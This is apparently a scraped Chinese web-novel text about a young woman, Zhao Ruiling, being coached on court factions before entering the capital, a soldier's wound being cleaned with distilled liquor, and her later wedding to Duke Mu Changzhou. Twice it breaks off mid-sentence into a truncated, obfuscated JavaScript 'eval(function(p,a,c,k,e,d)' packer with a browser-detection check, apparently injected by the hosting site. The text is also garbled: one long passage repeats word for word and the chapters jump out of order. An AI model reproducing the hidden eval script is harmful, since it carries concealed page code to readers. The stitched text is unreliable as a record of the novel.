可经翟山驿一事,袁修永却发现,无论如何,赵瑞灵骨子里流着的,还是靠骁勇善战,才气无双闻名的谢氏血脉。 见过那等刀光剑影的血腥场面,于家二郎和那小女婢晚上都得喝安神汤才能入睡。 倒是娇滴滴喊着这不舒服那里吓人的赵瑞灵,除被穆长舟吓晕那次,后头倒跟个没事儿人一样活蹦乱跳,夜夜安眠。 袁修永悟了,既赵瑞灵认祖归宗已不可避免,他当然希望赵瑞灵能不坠她阿娘之才名才好。 所以他将圣都如今的各家实力和盘根错节的关系,一股脑儿地往赵瑞灵脑袋里塞,连吃午饭的时候都没放下。 “你外祖已经去世,如今当家的是你大舅舅谢正阳,他娶了太尉之女梁氏,三公都是勋贵重臣,两家联姻算是强强联手。” “你二舅舅谢承阳如今任刑部侍郎,却娶了中书侍郎之女杨氏,三省除却尚书省外,都是只忠于皇家的寒门代表,与勋贵并不和睦。” “你小舅舅谢景阳没什么出息,在都水监任了个小官管着修河渠,可他却得了长公主之女端平郡主的青睐,跟郡主单独住在郡主府。” …… 赵瑞灵听着袁修永的话,感觉跟听念经一样,原本水汪汪的大眼睛里全是昏昏欲睡的茫然。 什么三公三省,她只知道最厉害的官儿是首辅,被人称呼为相公,感情圣都不止一个相公? 她就是进京认个亲,最多到太后面前装个乖巧的吉祥物而已,为什么要知道这么多复杂的事儿啊呜~ “哦,对了,你亲外祖母曲氏还健在,她身份贵重,乃是先圣表妹,当今圣人也得喊你外祖母一声表姑。”偏偏袁修永光说还不够,还要考她。 “但太后、英国公和谢侍郎都是你外祖前一任娘子所生,只有你小舅舅和你阿娘是曲氏所出,你觉得,进了英国公府,该跟谁亲近?” 赵瑞灵食不下咽地咽下嘴里的烤肉,迷茫抬起头来。 “跟三舅母?” 袁修永拿绢帛敲赵瑞灵的后脑勺。 “让你用心看我给你的文卷,你看到狗脑子里去了?” “曲氏是勋贵,你曾外祖曲国公曾是上任太尉,下嫁女儿给梁太尉,你大舅母是你外祖母的外甥女,你三舅母却是皇室女,不住在谢府,你上哪儿亲近去!” 赵瑞灵捂着脑袋,委屈得眼泪都快下来了。 “那只要我讨好外祖母和姨母不就好了,其他人就只当普通亲戚处着便是,何必要分个远近。” 这么复杂的关系,她记不住啊,再记脑子都要成糨糊了呜呜~ 袁修永无奈叹口气,耐心跟赵瑞灵解释,“虽你入圣都,是为了安慰你外祖母和太后对你阿娘的思念之情,但故人旧情褪去,你总得有让她们继续宠爱的价值。” 太后陪先圣打下了天下,与元老重臣也就是三师和他们的门生关系匪浅,对中书省和门下省影响颇深。 圣人虽只掌控尚书省,却有勋贵支持,皇后母家鲁国公府更是拉拢了诸多皇室子弟,隐隐抗衡太后。 这些年袁大郎送来的信里几番隐晦提及,英国公府虽是太后的母家,但太夫人曲氏却更看好太子。 英国公谢正阳看似为太后撑腰,实则态度不明。 赵瑞灵这一进京,又是谢如霜之后,想算计、拉拢乃至威逼利诱于她,以谋取更大利益的,除却外人,最有可能的就是太后和英国公府。 才绝娘子这个名头,其背后牵扯的力量,远比赵瑞灵所了解的多,不然谢如霜也不会不希望自己的女儿认祖归宗。 赵瑞灵虽然听得迷糊,却不是不识好歹之人,不懂就问嘛。 “那袁翁您说,我该怎么做?灵娘听您吩咐就是了。” 袁修永噎了下,他也头疼呢。 他离开圣都到底久了,对如今圣都的情形把握得并不十分准确。 可他必须得在赵瑞灵进宫之前,为她理顺这里面的暗流,给这小娘子留出喘口气的机会才行。 他思忖道:“若你想扬你阿娘威名,当是亲近你二舅母杨氏,依靠太后。” “若你外祖母和大舅母有微词,大事你尽可告诉太后,小事……且先忍一忍。” 虽然他即将任太子太师,可……袁修永在心里叹了口气,就太子那病弱的身体而言,却还是渭王的希望更大些。 袁氏只能忠于正统,赵瑞灵却不必。 他又道:“若你只想偏安一隅,就装得蠢笨些,只当什么都听不懂的,等着……他们分出个胜负再看听谁的便是。” “如有人欺负你头上,能跑就跑,不能跑就伏低做小,左右有你阿娘的功劳在,谁也不敢太过分。” “啊?”赵瑞灵瞪大了眼,越听越糊涂。 袁修永看她一眼,笃定道:“对!现在这模样就够了,偶尔闹些笑话倒也无妨,更容易叫人放心。” 赵瑞灵:“……”这小老儿是不是骂她蠢? 她噘起嘴,虽然那些线团一样的关系她还暂时理不清楚,却也听得出,无论做什么选择,她除了吃亏还是要吃亏。 这也太让人憋屈了呜呜呜~ 穆长舟在一旁垂着眸子吃东西,甄顺一边烤肉一边伸着耳朵当听热闹,主仆俩都默不作声,显然不打算掺和进去。 但穆长舟不经意间抬起头,望见赵瑞灵整个人都颜色黯淡下来,突然觉得有些不舒服。 他蓦地开口:“太后根基在武将,天下初定,外敌环伺,即便曲氏支持正统,却也不敢对太后不敬。” “圣人和太子为正统,鲁国公府却明显不安于做个普通外戚,因此圣人一直想提拔寒门,勋贵心里自有一杆秤。” “所以他们暂时分不出胜负。”穆长舟言简意赅将圣都如今的情形说清楚。 “才绝娘子背后可不是没人支持,若真有人敢欺她的女儿,打出第三条路就是了,赵娘子又何必拘泥于这两条路?” 赵瑞灵眼神蹭得亮了起来。 她第一次觉得穆长舟看起来格外顺眼,他人怎么样先不说,这种行事风格她可太喜欢了。 袁修永见赵瑞灵明显心动,忍不住冲穆长舟吹胡子瞪眼。 “怎么哪儿都有你,当谁都是你这种靠着打杀过活的武夫呢!” 穆长舟轻嗤:“文能兴邦,武能定天下,袁翁急着为文武分个高下之前,还是先睁眼看看实际情况,蛇打七寸的好。” 他瞥了眼依然眼巴巴看着他的赵瑞灵……还有快把眼珠子瞪出来的袁修永,心知自己又多管了闲事。 啧~他心里升起些控制不住的烦躁,懒得再多说,起身避开这俩祖宗。 赵瑞灵没听懂,立马转回头问:“袁翁,他什么意思?什么蛇打——” “他说你蠢!”袁修永疾声打断赵瑞灵兴致勃勃地追问。 赵瑞灵:“……”他说还是您说? 袁修永见赵瑞灵鼓起小脸儿,明显不信,只觉头疼。 “你别听他瞎说!当年那些人……你阿娘毕竟已嫁了人,又已身故,谁知道你的存在会叫人欢喜还是恼恨,与虎谋皮,一不小心就会粉身碎骨。”袁修永声严厉色。 “他穆氏靠军功得爵,他母亲出身勋贵,骨头硬着呢,别说打蛇,就是在圣都宫里打杀几个不长眼的,旁人也轻易动不了他……” 不遗余力想打消赵瑞灵不切实际念想的袁修永,说着说着却怔忪着消了音。 他若有所思看向穆长舟的方向,心底突然生出些仿若白日见鬼般的心思。 20.第 20 章 穆长舟作为武将,对处理伤口经验丰富。 用烈酒擦拭伤口可防风邪入体,避免热毒发作,甚至可让伤口更快愈合。 只是这烈酒沾身的滋味儿……比盐水还销魂。 穆长舟受过的伤数不清楚,曾被军医喷过一次烈酒,此后他突然觉得,苦药汤子都没那么苦了。 这会儿闻着比曾经军医手中更烈性的酒,穆长舟浑身都不自觉紧绷,一股凉意顺着后脊梁骨飞快往上蹿。 硬汉流血不流泪……不代表流血他不知道疼啊! 这个台阶他是非给不可吗? 可思虑再三,穆长舟还是忍住没动。 如果一开始没听甄顺那棒槌忽悠,不理会这小娘子便也罢了。 这会儿他已经开始装死,突然‘诈尸’,若被赵瑞灵察觉真相,他这脸也不必要了,往后圣都说不准都会流传着堂堂醇国公是个贪生怕死的软骨头。 这小娘子的嘴有多能胡说八道,他可是深切体验过的。 “啊!穆郎君的伤口流血了!”于旻突然小声惊呼,赶忙去接赵瑞灵手里的陶罐和棉帕子。 一接过来,于旻就被酒气熏得脑袋发晕。 他迷茫看向赵瑞灵,“阿嫂,这,这是要喂给穆郎君喝吗?” 赵瑞灵微笑摇头:“穆郎君还病着呢,怎么可以喝酒。” 她小时候,阿耶打猎受了伤回家,阿娘都会将提前买给阿耶喝的浊酒找出来,用洗干净的药罐加热,边缘斜着盖上盖子,空处用麻布堵上。 如此沸腾后的酒液会顺着盖子滴落在底下接着的陶罐里,浊酒会少一大半,却能得到更清澈更烈性的酒液。 “你先蘸些酒液给穆郎君擦拭伤口。”赵瑞灵努力不叫自己笑得太灿烂。 尤其想起过去,每回阿耶对着阿娘嗷嗷呜呜百般认错的场景,她实在有些迫不及待,不自觉催促。 “快一些,擦完了我再跟你说擦拭哪里可以退烧。” 浸染着酒液的帕子反复擦拭额头,脖颈儿和腋下能退高热,这是赵瑞灵亲身体验过的。 她折腾人归折腾人,却没想害人。 为了‘报答’穆长舟,让他早点好起来,她和阿桥特地将驿站的两大坛子浊酒都煮了,才得了这么一罐子酒液。 于旻最听阿嫂的话,闻言立刻沾湿帕子贴在穆长舟因为身体紧绷又开始渗血的伤口上…… 刹那间,火辣辣的剧痛,甚至比穆长舟记忆中被敌人砍在背上还要蚀骨。 他死死咬住牙关,到底没发出任何声音来。 可身体的紧绷却无法缓解,伤口的血继续往外渗。 于旻便更焦急擦拭……剧痛连绵不绝,穆长舟忍住了自身反应,却没忍住额头的冷汗一点点往外冒,很快就顺着他光洁的额头往下落。 赵瑞灵忍不住龇出了两排小白牙,连脑门儿上一蹦一蹦的疼都感觉轻了好多。 她一个小娘子能有什么坏心思,以前她因为阿耶的痛呼被吓哭,阿耶可是斩钉截铁跟她说越疼好得越快哩。 看穆长舟的模样……说不定他明天就能好? “哎呀,穆郎君疼得冷汗都出来了,阿旻你慢慢来。”她极为体贴地探身去给穆长舟擦汗,噙着笑更温柔地叮嘱于旻。 “别心急,要将伤口所有地方都——”擦到。 她话还没说完,一低头,就见穆长舟不知何时安静地睁开了眼。 他那双狭长的丹凤眸不知是因为疼痛还是起烧,眼眶内泛着淡淡的红。 看起来又可怜又吓人,唬得赵瑞灵都忘了自己要说什么。 偏于旻还没发现,有些疑惑地抬头:“啊?那阿嫂我到底是快一些,还是慢一些啊?” 穆长舟定定看着赵瑞灵,本欲出口的刻薄话却不知怎的堵在嗓子眼,由下而上的仰望,让他有些失神。 她脸上的笑意还没来得及消失,两个清浅的小酒窝嵌在那羊脂玉一般的鹅蛋脸上,偏额头有个淡红色凸起,衬得她可怜又可爱。 唔……这小娘子应该是可恨才对。 可她这喜笑颜开的模样实在过于耀眼了,刺得人心底有些似痛似痒的不适。 赵瑞灵见穆长舟微眯着眸子挑眉,心里打了个哆嗦,下意识将帕子往他眼上盖。 “那什么,还是快一些吧,赶紧撒上药粉包扎,如此穆郎君的伤才能好得快——啊!” 她帕子刚盖在穆长舟眼上,就被穆长舟伸手拽住手腕,差点把赵瑞灵拽得一脑袋扎他胸口上。 穆长舟顿了下,迅速松开她的手,由着赵瑞灵匆忙后退,鼻尖那股子比她的笑容还让人心痒的甜香一点点远去,却始终若有似无不肯消散。 他淡淡看了眼缩着脖子……且还骑他身上发呆的于旻,沙哑着嗓音开口。 “你们在做什么?” 赵瑞灵赶忙解释,“甄顺说穆郎君伤口开裂了,我和二郎感激你先前护我们性命的恩情,特地过来照顾你的。” 撒谎! 穆长舟心下腹诽,是照顾还是折腾,他又不是傻子,能分辨不出来? 但难得这小娘子一脸心虚,于家小郎又明显带着钦佩和敬畏看着他,分明是个缓和先前龃龉的好时机,穆长舟倒也没有再把人气走的心思。 后背叫他几乎想把这叔嫂俩扔出去的痛感已消失得差不多,穆长舟一手提着于旻,翻身坐起。 他望向赵瑞灵,淡淡道:“劳烦赵娘子为某包扎。” 啊?赵瑞灵愣了下,讪讪又后退一步。 “可,这男女授受不亲啊!”不然她早把酒液亲自怼这人身上了。 穆长舟意味深长看了眼自己被扒得精光的上半身,又看向赵瑞灵手里的帕子,轻呵了声。 “该看的不该看的,你不是都看光了?刚刚赵娘子也没少摸……” 这都不算亲近,那什么才叫亲近? 赵瑞灵:“……”说得好像她非礼他一样,不就是擦了把汗嘛! 分明是他先提着自己共骑一马的,她都还没骂他耍流氓呢! 她鼓起小脸儿,干脆道:“我不会,还是叫阿旻来吧。” 于旻深谙阿嫂温婉可人,却这也不会那也不会的性子,积极举着纱布猛点头。 他啥都会。 穆长舟却不看他,干脆道:“就他那小短胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆长舟垂眸看于旻:“你还不走?” 走了他也好重新包扎一下,那小娘子将纱布裹得太紧了。 于旻呆呆摇摇头,乖巧又习惯地开口劝人。 “阿嫂说得对,郎君你受着伤,我们再睡会儿,我给你退热。” 穆长舟看着缩起脖子迅速扒衣裳的小郎,他能明显看得出于旻怕他,实在不解。 “你阿嫂明摆着坑你,你就不怕挨着我睡做噩梦?” 于旻理所当然道:“可阿嫂是为我们好呀!” “阿兄和阿桥都说过,听阿嫂的话阿嫂会高兴,还有糖吃,阿嫂又不会害我。” “不听阿嫂的话,阿嫂气哭的话我和阿桥还要哄,也没有糖吃,说不定还要被阿嫂折腾,傻子都知道怎么选呀!” 穆长舟眼神复杂看着露出实心小身板钻进他被窝,怯生生往他身边贴的小郎,难得被噎得说不出话来。 怎么说呢,很有道理,就是感觉听多了会变傻子。 21.入v公告 穆长舟不至于跟个稚童计较。 他能看出,于旻对下午那场搏杀还惊魂未定,怕是不敢自己待着。 说不定那小娘子故意的……穆长舟正想着,于旻躺下片刻功夫,真真神色放松,睡得打起了小呼噜。 果然,这是故意把他做辟邪的阎王使。 穆长舟气笑了,明明有时看起来挺蠢个小娘子,有时却又狡黠得叫人牙痒。 甄顺第二日一大早就下山,请了附近医堂的坐馆堂医来。 老大夫给袁修永、穆长舟并于旻都诊过脉,开了药方子,还留下好几包安神的药。 常州知州也很快派了管家过来,丝毫未提水匪之事,只给袁修永和穆长舟送了好些仪程。 袁修永并未出面,只叫袁大丰打发了对方。 送走了那管家,暗地里听着的甄顺进厢房跟穆长舟禀报。 那刘家管家话里话外的意思,全是说他们家郎君知错,已写了请罪的条陈送往圣都,一切听候圣人和主家发落。 甄顺颇为纳罕,“看常州知州对那些水匪的态度,倒是瞧不出这□□是如此通情达理之人诶!” 穆长舟微哂,通情达理?笑话。 袁家大郎在圣都任御史中丞,虽官职不高,只是正五品,进一步却是御史台的一把手御史大夫,前途无量。 御史台监察百官,上可直达天听,劝谏君王,下掌各道巡察司,督查百官。 袁家二郎在河南道任一道观察使,同样是官职不高却能直达天听的存在。 更不用说袁修永即将任职从一品的太子太师一职,即便无实权,却可左右储君乃至圣人的所思所想。 刘氏作为袁家姻亲,除去出了个驸马以外,并未什么能干之人,对袁氏的实力也比其他人更加了解。 对上穆长舟这个威名在外的醇国公,那胆大包天的□□说不定都敢生出灭个口的心思。 但袁修永要归京的消息已送到圣都,□□只要得知此事,就绝对不敢动袁修永。 毕竟穆长舟若死在外头,圣都弹冠相庆的官员,妄图取而代之瓜分狼覃军的武官不计其数。 可若袁修永因□□出任何意外,同气连枝的清流世家能把刘氏满族都生吞活剥咯。 这也是那些手不能提肩不能挑的文官,叫穆长舟这个杀敌如麻的大将军也得忌惮的缘由。 思及此处,穆长舟突然没了跟赵瑞灵和袁修永交好的念头,他们这些文人瞧不起武将又不是一天两天了,何必白费力。 五日后,穆长舟的伤口重新结痂,袁修永也休养得差不多,众人继续赶路。 袁修永把赵瑞灵叫进了自己的马车,准备多教她些东西。 以前袁修永了解的赵瑞灵,是个比寻常小娘子更娇弱的女娘,即便她不自量力要认祖归宗,他也只想尽力护她性命无忧便是。 谢如霜曾在给他的密信里说,她失忆七载,与夫君遭遇生死危机时才机缘巧合恢复记忆。 她女儿并未继承谢氏任何才能,她深谙圣都之水深,惶恐于末途,别无所求,只求赵瑞灵隐姓埋名,做个普通人幸福无忧一辈子…… 可经翟山驿一事,袁修永却发现,无论如何,赵瑞灵骨子里流着的,还是靠骁勇善战,才气无双闻名的谢氏血脉。 见过那等刀光剑影的血腥场面,于家二郎和那小女婢晚上都得喝安神汤才能入睡。 倒是娇滴滴喊着这不舒服那里吓人的赵瑞灵,除被穆长舟吓晕那次,后头倒跟个没事儿人一样活蹦乱跳,夜夜安眠。 袁修永悟了,既赵瑞灵认祖归宗已不可避免,他当然希望赵瑞灵能不坠她阿娘之才名才好。 所以他将圣都如今的各家实力和盘根错节的关系,一股脑儿地往赵瑞灵脑袋里塞,连吃午饭的时候都没放下。 “你外祖已经去世,如今当家的是你大舅舅谢正阳,他娶了太尉之女梁氏,三公都是勋贵重臣,两家联姻算是强强联手。” “你二舅舅谢承阳如今任刑部侍郎,却娶了中书侍郎之女杨氏,三省除却尚书省外,都是只忠于皇家的寒门代表,与勋贵并不和睦。” “你小舅舅谢景阳没什么出息,在都水监任了个小官管着修河渠,可他却得了长公主之女端平郡主的青睐,跟郡主单独住在郡主府。” …… 赵瑞灵听着袁修永的话,感觉跟听念经一样,原本水汪汪的大眼睛里全是昏昏欲睡的茫然。 什么三公三省,她只知道最厉害的官儿是首辅,被人称呼为相公,感情圣都不止一个相公? 她就是进京认个亲,最多到太后面前装个乖巧的吉祥物而已,为什么要知道这么多复杂的事儿啊呜~ “哦,对了,你亲外祖母曲氏还健在,她身份贵重,乃是先圣表妹,当今圣人也得喊你外祖母一声表姑。”偏偏袁修永光说还不够,还要考她。 “但太后、英国公和谢侍郎都是你外祖前一任娘子所生,只有你小舅舅和你阿娘是曲氏所出,你觉得,进了英国公府,该跟谁亲近?” 赵瑞灵食不下咽地咽下嘴里的烤肉,迷茫抬起头来。 “跟三舅母?” 袁修永拿绢帛敲赵瑞灵的后脑勺。 “让你用心看我给你的文卷,你看到狗脑子里去了?” “曲氏是勋贵,你曾外祖曲国公曾是上任太尉,下嫁女儿给梁太尉,你大舅母是你外祖母的外甥女,你三舅母却是皇室女,不住在谢府,你上哪儿亲近去!” 赵瑞灵捂着脑袋,委屈得眼泪都快下来了。 “那只要我讨好外祖母和姨母不就好了,其他人就只当普通亲戚处着便是,何必要分个远近。” 这么复杂的关系,她记不住啊,再记脑子都要成糨糊了呜呜~ 袁修永无奈叹口气,耐心跟赵瑞灵解释,“虽你入圣都,是为了安慰你外祖母和太后对你阿娘的思念之情,但故人旧情褪去,你总得有让她们继续宠爱的价值。” 太后陪先圣打下了天下,与元老重臣也就是三师和他们的门生关系匪浅,对中书省和门下省影响颇深。 圣人虽只掌控尚书省,却有勋贵支持,皇后母家鲁国公府更是拉拢了诸多皇室子弟,隐隐抗衡太后。 这些年袁大郎送来的信里几番隐晦提及,英国公府虽是太后的母家,但太夫人曲氏却更看好太子。 英国公谢正阳看似为太后撑腰,实则态度不明。 赵瑞灵这一进京,又是谢如霜之后,想算计、拉拢乃至威逼利诱于她,以谋取更大利益的,除却外人,最有可能的就是太后和英国公府。 才绝娘子这个名头,其背后牵扯的力量,远比赵瑞灵所了解的多,不然谢如霜也不会不希望自己的女儿认祖归宗。 赵瑞灵虽然听得迷糊,却不是不识好歹之人,不懂就问嘛。 “那袁翁您说,我该怎么做?灵娘听您吩咐就是了。” 袁修永噎了下,他也头疼呢。 他离开圣都到底久了,对如今圣都的情形把握得并不十分准确。 可他必须得在赵瑞灵进宫之前,为她理顺这里面的暗流,给这小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“圣人和太子为正统,鲁国公府却明显不安于做个普通外戚,因此圣人一直想提拔寒门,勋贵心里自有一杆秤。” “所以他们暂时分不出胜负。”穆长舟言简意赅将圣都如今的情形说清楚。 “才绝娘子背后可不是没人支持,若真有人敢欺她的女儿,打出第三条路就是了,赵娘子又何必拘泥于这两条路?” 赵瑞灵眼神蹭得亮了起来。 她第一次觉得穆长舟看起来格外顺眼,他人怎么样先不说,这种行事风格她可太喜欢了。 袁修永见赵瑞灵明显心动,忍不住冲穆长舟吹胡子瞪眼。 “怎么哪儿都有你,当谁都是你这种靠着打杀过活的武夫呢!” 穆长舟轻嗤:“文能兴邦,武能定天下,袁翁急着为文武分个高下之前,还是先睁眼看看实际情况,蛇打七寸的好。” 他瞥了眼依然眼巴巴看着他的赵瑞灵……还有快把眼珠子瞪出来的袁修永,心知自己又多管了闲事。 啧~他心里升起些控制不住的烦躁,懒得再多说,起身避开这俩祖宗。 赵瑞灵没听懂,立马转回头问:“袁翁,他什么意思?什么蛇打——” “他说你蠢!”袁修永疾声打断赵瑞灵兴致勃勃地追问。 赵瑞灵:“……”他说还是您说? 袁修永见赵瑞灵鼓起小脸儿,明显不信,只觉头疼。 “你别听他瞎说!当年那些人……你阿娘毕竟已嫁了人,又已身故,谁知道你的存在会叫人欢喜还是恼恨,与虎谋皮,一不小心就会粉身碎骨。”袁修永声严厉色。 “他穆氏靠军功得爵,他母亲出身勋贵,骨头硬着呢,别说打蛇,就是在圣都宫里打杀几个不长眼的,旁人也轻易动不了他……” 不遗余力想打消赵瑞灵不切实际念想的袁修永,说着说着却怔忪着消了音。 他若有所思看向穆长舟的方向,心底突然生出些仿若白日见鬼般的心思。 40-50 第41章 第41章大婚上 郡主府内留了仆从,穆长舟只隐隐听了几句,就知道赵瑞灵去了温泉庄子。 要避开宵禁巡逻的羽林卫官兵,对穆长舟来说易如反掌,但要出城动静就大了。 无奈他只能压着想见赵瑞灵的冲动先回了醇国公府。 甄顺挨了一脚后,讪讪摸着鼻子道:“反正明儿个宫宴,郡主肯定会出现的,到时您就见到了……” 其实他想说的是,就还有几天工夫,这新妇就娶进门了,有必要非得立刻见到吗? “再说您总是夜探香闺也不合适,就算传不出去,也容易让郡主身边伺候的人多想,说不得会让郡主以为您不尊重她呢。”甄顺又开始念叨。 “您还不如想想,是等成亲后把大郎接回来,还是现在就接,大郎总得拜见母亲,要接人的话,您明儿个得记着跟程夫人打个招呼……” 穆长舟没将甄顺的念叨放在心上,他将儿子留在圣都,一是为了让圣人放心,二是先前他还不能全然掌控狼覃军时西北也太危险。 让大郎留在圣都,既是对他的掣肘,也是对大郎的保护,反正要是大郎出任何问题,圣人都必然得给穆氏一个交代,以程邈的聪明,只会尽全力保护大郎安危。 可能大郎跟程家的关系是亲近了些,但孩子是穆氏子嗣,他穆长舟要接人回府拜见孩子的继母乃是礼法伦常,谁敢拦打过去就是了。 他现在更想做的是,尽快见到那个让人夜里辗转反侧的小兔子。 事实上,赵瑞灵还真就没在意那些繁文缛节的,或者说她就没往风花雪月上想。 虽然穆长舟每回都要……收点利息,可话又说回来,他也不是头一天不做人了不是吗? 反正赵瑞灵有种很强烈的直觉,哪怕这人总是不做好事,总是把人气得够呛,可他不会做真正伤害她的事情。 所以得知穆长舟回京,她在温泉庄子上还特地给穆长舟留了一扇窗,等到了很晚……她干了那么大一件事,总要好好跟人炫耀炫耀嘛! 可惜过了宵禁的点,也没等到人,赵瑞灵还颇为失望,躺下了还跟阿桥哼哼。 “明儿个见到人,除非他能说出花儿来,否则我绝不理他!” 阿桥:“……”二郎都不干这么幼稚的事儿了。 实在是想吐槽的地方太多,阿桥也就没告诉快要睡着的娘子,她明天应该没机会理醇国公。 她怕提前说了,娘子估计要气得睡不着觉了。 翌日。 穆长舟一番寻常不爱参加宫宴,总是晚到的习惯,早早就到了含元殿。 但他还是没能见到赵瑞灵。 “太后说了,按照规矩,新人成亲前三天不能见面。”秦媪顶着穆长舟散发着冷气的表情,谨慎低着头禀报。 “瑞灵郡主已被接入了仪秋宫待嫁,不来参加宫宴了,太后特叫奴来跟国公说一声。” 穆长舟:“……”这是怕他翻仪秋宫的宫墙呢。 得,新妇见不着,穆长舟就只能铆足了劲张罗自己的亲事了,他一句话没跟秦媪说,直接转身去找前岳丈。 三日后,正月十八,万事皆宜,是一年初始难得的好日子,也是醇国公大婚之日。 天还没亮,仪秋宫的羊角宫灯就亮了起来,宫人和内侍进进出出开始忙碌。 三更刚过,赵瑞灵就被叫了起来,沐浴更衣,梳妆打扮。 因为是圣人赐婚,纳采、问名、纳吉、纳征和请期的事情都被钦天监和礼部并太常寺负责了。 醇国公府只需要将聘礼送到郡主府,再由仪秋宫提前一日将太后为赵瑞灵准备好的嫁妆浩浩荡荡从安礼门出,送到醇国公府。 赵瑞灵在仪秋宫的三天,除了跟着秦媪和乔媪她们学习高门主母掌家的规矩外,什么都没做。 至于教导人事这一点,因为赵瑞灵不是头婚了,也省去了这一步。 所以她每天吃好喝好,三更起身也一点都没犯困,还挺精神地由着人伺候穿好了大婚的绿衣。 净面 、濯面、开脸……及至抹上唇脂后,穿着广袖宫装艰难端坐在铜镜前的赵瑞灵,等来了最后一步,梳头。 太后并没有听礼部和太常寺的建议,请全福夫人来,她一大早起身,披散着一头长发,素着面,亲自前来给赵瑞灵梳头。 “老话说全福夫人梳头可梳得一辈子的福气,哀家却不信这个。”太后叫退了所有人,拿着白玉梳轻轻给赵瑞灵梳着乌黑长发。 她当年也请了所谓的全福夫人梳头,不也碰上了殷氏这样心狠手黑,想要让她灭族的夫家? “哀家只信自己,所以才能有这端坐仪秋宫的一日,不像顾家,如今圣都谁还记得镇国公府出过两位皇后娘娘?” 赵瑞灵听得心猛地跳了好几下,却又不知该说什么是好,只能睁大清凌凌的眸子从铜镜里看着太后。 因为盛装打扮,她眼角涂了浅浅的朱色胭脂,衬得她面红齿白,明眸善睐,美得不可方物,是让女子看了都要心底发软的程度。 太后也看着铜镜里一脸迷茫却又娇憨可人的小娘子,蓦地轻轻笑了起来。 她轻轻将赵瑞灵的头发绾起发髻,用凤尾金簪簪在脑后,低下头仔细打量了下,将脑后细小的绒毛用上好的蔷薇花露抿得整整齐齐,这才满意。 “灵娘先前所为就做得很好,如今我倒是觉得,你阿娘的选择也许是对的。” “与其做个被人警惕的聪明人,倒不如你这般让人升不起防备心来,只想把最好的东西都捧到你手心。”太后将下巴搁在赵瑞灵细弱的肩膀上,定定看着铜镜里的新嫁娇娘。 “可灵娘要记得心狠一点,你得先是你自己,然后才是旁的身份,无论任何时候,都不要全然相信别人,尤其是穆长舟,记住了吗?” 赵瑞灵看着太后扫去铅华后淡雅如菊的面容,很想问,这个别人,包括姨母你吗? 可看着太后眼角弯起后露出的细纹,她还是什么都没问,只认真点头。 “今日姨母说的话,灵娘都记住了。” 太后欣慰地拍拍赵瑞灵的脑袋,“好,待会儿你出门,哀家就不出面了,让瑞景送你出门。” 说完,太后就回了自己的寝殿。 午时一过,迎亲的队伍就来了。 如太后所说,直到穆长舟带着礼部迎亲的人前来,也只是在仪秋宫前磕了头,谁也没见到太后。 这点秦媪提前跟礼部说过了,也禀报过圣人,众人并不惊讶。 赵瑞灵到底是郡主身份,还不是皇家血脉,从仪秋宫出嫁已然出格,太后避而不见,也好与公主出嫁的阵仗区分开来。 翻过年刚叫十岁的渭王琰,长了一岁好像也比先前沉稳了许多,少见的没叽叽喳喳。 他沉着肉墩墩的小脸儿,端着亲王的架子拦住了穆长舟,站在天井前的粟臼和稻席前,要穆长舟做催妆诗。 礼部也早就准备好了,立马上前扬声就要念,这也算是他们扬名的机会,礼部好些人都抢着作诗呢。 偏偏渭王不肯,他大声道:“不行!必须得醇国公来作诗,新妇又不是你们娶的!” “传闻醇国公武能马上让敌人闻风丧胆,总不能连首诗都做不出来吧?那多亏了我表姐,她可是文风最盛的南地来的女娘,我跟你们说……” 立在偏殿等着出门的赵瑞灵:“……”沉稳了,但不多。 穆长舟急着迎新妇回府,实在不爱听小孩子念叨,直接将大手乎在渭王脑袋上揉了揉,张嘴就是一首催妆诗。 礼部的人听得目瞪口呆。 倒不是穆长舟的诗做得不好,而是太好了,不但对仗工整,而且辞藻颇为华丽,算得上佳。 就是国子监的博士来了也未必能做出更好的来。 可醇国公不是武夫吗? 渭王也还瞪着跟赵瑞灵有些相似的圆眼,还想说几句,乔媪看着时辰不早,赶紧上来小声地劝。 秦媪也出来冲渭王摇头,好歹渭王记得今日是什么日子,赶紧又端起沉稳的架子来。 “备马鞍!一路平安!” 柳福立马领着内侍将金灿灿的马鞍放在偏殿门口。 举着扇子的赵瑞灵跨过金鞍,由渭王亲自送上彩车。 穆长舟这才松了口气,目光追着进入彩车的窈窕身影,直到看不见赵瑞灵,才大跨步走在了前面。 一般来说,新郎都是打马而行,但在宫里新娘的彩车可行,外人却不能纵马。 迎亲的队伍出了安礼门,穆长舟才在吹吹打打的动静中上马,迎新妇往永昌坊的醇国公去。 路上太常寺安排了人障车,甄顺带着醇国公府的人送酒撒钱。 即便亲事定下来的时间很紧张,阵仗却一点都不小,还特地走了朱雀大街,引得百姓们争相观看。 赵瑞灵进了门后,手中的红绸才终于到了穆长舟手里。 穆长舟转头看着手持羽扇的小娘子,足足忍了三日的冲动,化作手中的力道,用力拽住红绸,将赵瑞灵拽得靠近了些。 赵瑞灵险些踉跄出去,被穆长舟稳稳扶住,气得拧了他一下,才叫穆长舟老实下来。 她这会子根本没有说话的欲望,只想赶紧洞房花烛。 字面意思,她只想赶紧躺下,这回成亲实在是比她第一次成亲累太多了。 虽然一路没走几步,可她脑袋上顶着小二十斤的金饰坐了快一上午才出门,又在彩车上摇摇晃晃一个多时辰。 进了醇国公府后还要走路到正院,又是大半个时辰。 等进了行礼的正厅,她累得眼冒金星,什么拜天神拜祖宗拜宾客夫妻对拜的,她全然跟傀儡一样没印象。 等回过神,她已经被一群女眷们拥簇着进了新房行沃盥礼。 她迷迷糊糊被伺候着洗手洁面,重新上妆,等着外头招待宾朋的穆长舟进新房来却扇。 沃盥礼是在与穆氏亲近的各家女眷们注视下进行的。 要放在平常,在这么多人的注视下梳洗,赵瑞灵大概还会有些不自在。 可这会儿她实在是顾不上,只尽量以最小的声音问乔媪:“能把我脑袋上的首饰也换了吗?好累哦!” 再戴着这么重的首饰,估计等不到洞房,她就要被压晕了! 乔媪刚要说话,一个清冷中带着几分骄矜的年轻女子突然开口。 